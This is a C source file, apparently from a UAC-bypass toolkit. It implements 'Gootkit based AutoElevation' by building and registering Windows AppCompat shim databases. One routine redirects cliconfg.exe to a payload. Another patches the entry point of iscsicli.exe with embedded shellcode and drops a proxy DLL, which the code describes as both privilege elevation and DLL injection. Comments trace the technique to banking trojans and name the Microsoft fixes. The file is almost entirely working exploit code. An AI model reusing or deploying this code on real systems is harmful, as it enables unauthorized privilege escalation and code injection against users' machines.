/******************************************************************************* * * (C) COPYRIGHT AUTHORS, 2014 - 2019, * (C) MS FixIT Shim Patches revealed by Jon Erickson * * TITLE: GOOTKIT.C * * VERSION: 3.17 * * DATE: 18 Mar 2019 * * Gootkit based AutoElevation using AppCompat. * * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A * PARTICULAR PURPOSE. * *******************************************************************************/ #include "global.h" #ifndef _WIN64 static const unsigned char Inazuma32[237] = { 0xEB, 0x78, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x10, 0x53, 0x56, 0x8B, 0xF1, 0x89, 0x55, 0xFC, 0x57, 0x8B, 0x46, 0x3C, 0x8B, 0x44, 0x30, 0x78, 0x03, 0xC6, 0x8B, 0x48, 0x24, 0x8B, 0x50, 0x20, 0x03, 0xCE, 0x8B, 0x58, 0x1C, 0x03, 0xD6, 0x8B, 0x40, 0x18, 0x03, 0xDE, 0x89, 0x4D, 0xF0, 0x33, 0xC9, 0x89, 0x55, 0xF4, 0x89, 0x45, 0xF8, 0x85, 0xC0, 0x74, 0x29, 0x8B, 0x14, 0x8A, 0x03, 0xD6, 0x33, 0xFF, 0xEB, 0x0C, 0x0F, 0xBE, 0xC0, 0x33, 0xC7, 0xC1, 0xC0, 0x03, 0x40, 0x42, 0x8B, 0xF8, 0x8A, 0x02, 0x84, 0xC0, 0x75, 0xEE, 0x3B, 0x7D, 0xFC, 0x74, 0x12, 0x8B, 0x55, 0xF4, 0x41, 0x3B, 0x4D, 0xF8, 0x72, 0xD7, 0x33, 0xC0, 0x5F, 0x5E, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x45, 0xF0, 0x0F, 0xB7, 0x04, 0x48, 0x8B, 0x04, 0x83, 0x03, 0xC6, 0xEB, 0xEB, 0x55, 0x8B, 0xEC, 0x81, 0xEC, 0x10, 0x01, 0x00, 0x00, 0x64, 0xA1, 0x18, 0x00, 0x00, 0x00, 0x56, 0x57, 0x6A, 0x02, 0x8B, 0x40, 0x30, 0x8B, 0x40, 0x0C, 0x8B, 0x78, 0x0C, 0x83, 0x65, 0xFC, 0x00, 0xC7, 0x45, 0xF4, 0x25, 0x54, 0x4D, 0x50, 0xC7, 0x45, 0xF8, 0x25, 0x5C, 0x72, 0x33, 0x58, 0x8B, 0x3F, 0x48, 0x75, 0xFB, 0x8B, 0x4F, 0x18, 0xBA, 0x08, 0x7E, 0xB3, 0x69, 0xE8, 0x47, 0xFF, 0xFF, 0xFF, 0x8B, 0x4F, 0x18, 0x8B, 0xF0, 0x68, 0x04, 0x01, 0x00, 0x00, 0x8D, 0x85, 0xF0, 0xFE, 0xFF, 0xFF, 0xBA, 0xA2, 0x90, 0x38, 0xF5, 0x50, 0x8D, 0x45, 0xF4, 0x50, 0xE8, 0x28, 0xFF, 0xFF, 0xFF, 0xFF, 0xD0, 0x8D, 0x85, 0xF0, 0xFE, 0xFF, 0xFF, 0x50, 0xFF, 0xD6, 0x5F, 0x33, 0xC0, 0x5E, 0x8B, 0xE5, 0x5D, 0xC3 }; #endif /* * ucmRegisterAndRunTarget * * Purpose: * * Register shim database and execute target app from Windows (sub)directory. * */ BOOL ucmRegisterAndRunTarget( _In_ LPWSTR lpShimDbPath, _In_ LPWSTR lpTarget, _In_ BOOL IsPatch ) { BOOL bResult = FALSE; WCHAR szSdbinstPath[MAX_PATH * 2]; WCHAR szCmd[MAX_PATH * 4]; if ((lpTarget == NULL) || (lpShimDbPath == NULL)) return bResult; RtlSecureZeroMemory(szSdbinstPath, sizeof(szSdbinstPath)); #ifdef _WIN64 _strcpy(szSdbinstPath, USER_SHARED_DATA->NtSystemRoot); _strcat(szSdbinstPath, SYSWOW64_DIR); _strcat(szSdbinstPath, SDBINST_EXE); #else _strcpy(szSdbinstPath, g_ctx->szSystemDirectory); _strcat(szSdbinstPath, SDBINST_EXE); #endif RtlSecureZeroMemory(szCmd, sizeof(szCmd)); if (IsPatch) { _strcpy(szCmd, L"-p "); _strcat(szCmd, lpShimDbPath); } else { _strcpy_w(szCmd, lpShimDbPath); } // // Register shim, sdbinst.exe // if (supRunProcess(szSdbinstPath, szCmd)) { RtlSecureZeroMemory(szCmd, sizeof(szCmd)); #ifdef _WIN64 _strcpy(szCmd, USER_SHARED_DATA->NtSystemRoot); _strcat(szCmd, SYSWOW64_DIR); #else _strcpy(szCmd, g_ctx->szSystemDirectory); #endif _strcat(szCmd, lpTarget); bResult = supRunProcess(szCmd, NULL); //remove database RtlSecureZeroMemory(szCmd, sizeof(szCmd)); _strcpy(szCmd, L"/q /u "); _strcat(szCmd, lpShimDbPath); supRunProcess(szSdbinstPath, szCmd); DeleteFile(lpShimDbPath); } return bResult; } /* * ucmShimRedirectEXE * * Purpose: * * Build, register shim database and execute target app. * Initially used in BlackEnergy2 and Gootkit by mzH (alive-green). * Used in number of trojans (Win32/Dyre, WinNT/Cridex). * * Fixed in Windows 10 TH1, KB3045645/KB3048097 for everything else * */ NTSTATUS ucmShimRedirectEXE( _In_ LPWSTR lpszPayloadEXE ) { NTSTATUS MethodResult = STATUS_ACCESS_DENIED; PDB hShimDb; GUID dbGUID, exeGUID; WCHAR szShimDbPath[MAX_PATH * 2]; TAGID tidDB = 0; TAGID tidEXE = 0; TAGID tidMatchFile = 0; TAGID tidShim = 0; TAGID tidLib = 0; if (lpszPayloadEXE == NULL) { return STATUS_INVALID_PARAMETER; } // // GUIDs are important, for both DATABASE and EXE file. // They used as shim identifiers and must be set. // if ((CoCreateGuid(&dbGUID) != S_OK) || (CoCreateGuid(&exeGUID) != S_OK)) { return STATUS_INTERNAL_ERROR; } RtlSecureZeroMemory(szShimDbPath, sizeof(szShimDbPath)); _strcpy(szShimDbPath, g_ctx->szTempDirectory); _strcat(szShimDbPath, MYSTERIOUSCUTETHING); _strcat(szShimDbPath, L".sdb"); hShimDb = SdbCreateDatabase(szShimDbPath, DOS_PATH); if (hShimDb == NULL) { return STATUS_INTERNAL_ERROR; } //write shim DB header tidDB = SdbBeginWriteListTag(hShimDb, TAG_DATABASE); if (tidDB != TAGID_NULL) { SdbWriteStringTag(hShimDb, TAG_NAME, MYSTERIOUSCUTETHING); SdbWriteDWORDTag(hShimDb, TAG_OS_PLATFORM, 0x1); //win32 only RedirectEXE SdbWriteBinaryTag(hShimDb, TAG_DATABASE_ID, (PBYTE)&dbGUID, sizeof(GUID)); //just as ACT 5.6 does tidLib = SdbBeginWriteListTag(hShimDb, TAG_LIBRARY); if (tidLib != TAGID_NULL) SdbEndWriteListTag(hShimDb, tidLib); //write shim task information tidEXE = SdbBeginWriteListTag(hShimDb, TAG_EXE); if (tidEXE != TAGID_NULL) { SdbWriteStringTag(hShimDb, TAG_NAME, CLICONFG_EXE); SdbWriteStringTag(hShimDb, TAG_APP_NAME, CLICONFG_EXE); SdbWriteStringTag(hShimDb, TAG_VENDOR, MSFT_MIN); SdbWriteBinaryTag(hShimDb, TAG_EXE_ID, (PBYTE)&exeGUID, sizeof(GUID)); //write shim target info tidMatchFile = SdbBeginWriteListTag(hShimDb, TAG_MATCHING_FILE); if (tidMatchFile != TAGID_NULL) { SdbWriteStringTag(hShimDb, TAG_NAME, L"*"); //<-from any SdbWriteStringTag(hShimDb, TAG_COMPANY_NAME, MSFT_FULL); SdbWriteStringTag(hShimDb, TAG_INTERNAL_NAME, CLICONFG_EXE); SdbEndWriteListTag(hShimDb, tidMatchFile); } //write shim action info tidShim = SdbBeginWriteListTag(hShimDb, TAG_SHIM_REF); if (tidShim != TAGID_NULL) { SdbWriteStringTag(hShimDb, TAG_NAME, L"RedirectEXE"); SdbWriteStringTag(hShimDb, TAG_COMMAND_LINE, lpszPayloadEXE); SdbEndWriteListTag(hShimDb, tidShim); } SdbEndWriteListTag(hShimDb, tidEXE); } SdbEndWriteListTag(hShimDb, tidDB); } SdbCloseDatabaseWrite(hShimDb); if (ucmRegisterAndRunTarget( szShimDbPath, CLICONFG_EXE, FALSE)) { MethodResult = STATUS_SUCCESS; } return MethodResult; } #ifndef _WIN64 /* * ucmShimPatch * * Purpose: * * Build, register shim patch database and execute target app with forced Entry Point Override. * Aside from UAC bypass this is also dll injection technique. * * Fixed in Windows 10 TH1, KB3045645/KB3048097 for everything else * */ NTSTATUS ucmShimPatch( _In_ PVOID ProxyDll, _In_ DWORD ProxyDllSize ) { NTSTATUS MethodResult = STATUS_ACCESS_DENIED; PDB hpdb; GUID dbGUID, exeGUID; WCHAR szShimDbPath[MAX_PATH * 2]; WCHAR szBuffer[MAX_PATH * 2]; DWORD indexid = MAXDWORD, sz, epRVA = 0; TAGID dbrf, libref, patchref, exeref, matchfileref, patchfileref; PBYTE tmp; PPATCHBITS patchbits; do { if ((CoCreateGuid(&dbGUID) != S_OK) || (CoCreateGuid(&exeGUID) != S_OK)) { return STATUS_INTERNAL_ERROR; } // drop Fubuki RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); _strcpy(szBuffer, g_ctx->szTempDirectory); _strcat(szBuffer, L"r3.dll"); if (!supWriteBufferToFile(szBuffer, ProxyDll, ProxyDllSize)) { MethodResult = STATUS_UNSUCCESSFUL; break; } RtlSecureZeroMemory(szShimDbPath, sizeof(szShimDbPath)); _strcpy(szShimDbPath, g_ctx->szTempDirectory); _strcat(szShimDbPath, INAZUMA_REV); _strcat(szShimDbPath, L".sdb"); hpdb = SdbCreateDatabase(szShimDbPath, DOS_PATH); if (hpdb == NULL) break; if (!SdbDeclareIndex(hpdb, TAG_EXE, TAG_NAME, 1, TRUE, &indexid)) break; if (!SdbStartIndexing(hpdb, indexid)) break; SdbStopIndexing(hpdb, indexid); SdbCommitIndexes(hpdb); // begin DATABASE { dbrf = SdbBeginWriteListTag(hpdb, TAG_DATABASE); if (!SdbWriteStringTag(hpdb, TAG_NAME, INAZUMA_REV)) break; SdbWriteBinaryTag(hpdb, TAG_DATABASE_ID, (PBYTE)&dbGUID, sizeof(GUID)); SdbWriteDWORDTag(hpdb, TAG_OS_PLATFORM, 0x1); //<- win32 // begin LIBRARY { libref = SdbBeginWriteListTag(hpdb, TAG_LIBRARY); patchref = SdbBeginWriteListTag(hpdb, TAG_PATCH); // begin LIBRARY-PATCH SdbWriteStringTag(hpdb, TAG_NAME, BINARYPATH_TAG); // query EP RVA for target _strcpy(szBuffer, g_ctx->szSystemDirectory); _strcat(szBuffer, ISCSICLI_EXE); epRVA = supQueryEntryPointRVA(szBuffer); if (epRVA == 0) { MethodResult = STATUS_ENTRYPOINT_NOT_FOUND; break; } tmp = supHeapAlloc(32 * 1024); if (tmp != NULL) { patchbits = (PPATCHBITS)tmp; sz = 0; patchbits->Opcode = PATCH_REPLACE; patchbits->RVA = epRVA; _strcpy_w(patchbits->ModuleName, ISCSICLI_EXE); supCopyMemory((char *)&patchbits->Pattern, sizeof(Inazuma32), Inazuma32, sizeof(Inazuma32)); patchbits->PatternSize = sizeof(Inazuma32); patchbits->ActionSize = (DWORD)(sizeof(PATCHBITS) + patchbits->PatternSize); sz += patchbits->ActionSize; SdbWriteBinaryTag(hpdb, TAG_PATCH_BITS, tmp, sz); supHeapFree(tmp); } SdbEndWriteListTag(hpdb, patchref); // end LIBRARY-PATCH // end LIBRARY SdbEndWriteListTag(hpdb, libref); SdbStartIndexing(hpdb, indexid); // begin EXE { exeref = SdbBeginWriteListTag(hpdb, TAG_EXE); SdbWriteStringTag(hpdb, TAG_NAME, ISCSICLI_EXE); SdbWriteStringTag(hpdb, TAG_APP_NAME, ISCSICLI_EXE); SdbWriteBinaryTag(hpdb, TAG_EXE_ID, (PBYTE)&exeGUID, sizeof(GUID)); // begin MATCH { matchfileref = SdbBeginWriteListTag(hpdb, TAG_MATCHING_FILE); SdbWriteStringTag(hpdb, TAG_NAME, ISCSICLI_EXE); SdbWriteStringTag(hpdb, TAG_COMPANY_NAME, MSFT_FULL); SdbEndWriteListTag(hpdb, matchfileref); // } end MATCH patchfileref = SdbBeginWriteListTag(hpdb, TAG_PATCH_REF); SdbWriteStringTag(hpdb, TAG_NAME, BINARYPATH_TAG); SdbWriteDWORDTag(hpdb, TAG_PATCH_TAGID, patchref); SdbEndWriteListTag(hpdb, patchfileref); SdbEndWriteListTag(hpdb, exeref); // } end EXE // } end DATABASE SdbEndWriteListTag(hpdb, dbrf); SdbCloseDatabaseWrite(hpdb); // Register db and run target. if (ucmRegisterAndRunTarget( szShimDbPath, ISCSICLI_EXE, TRUE)) { MethodResult = STATUS_SUCCESS; } } while (FALSE); return MethodResult; } #endif /* _WIN64 */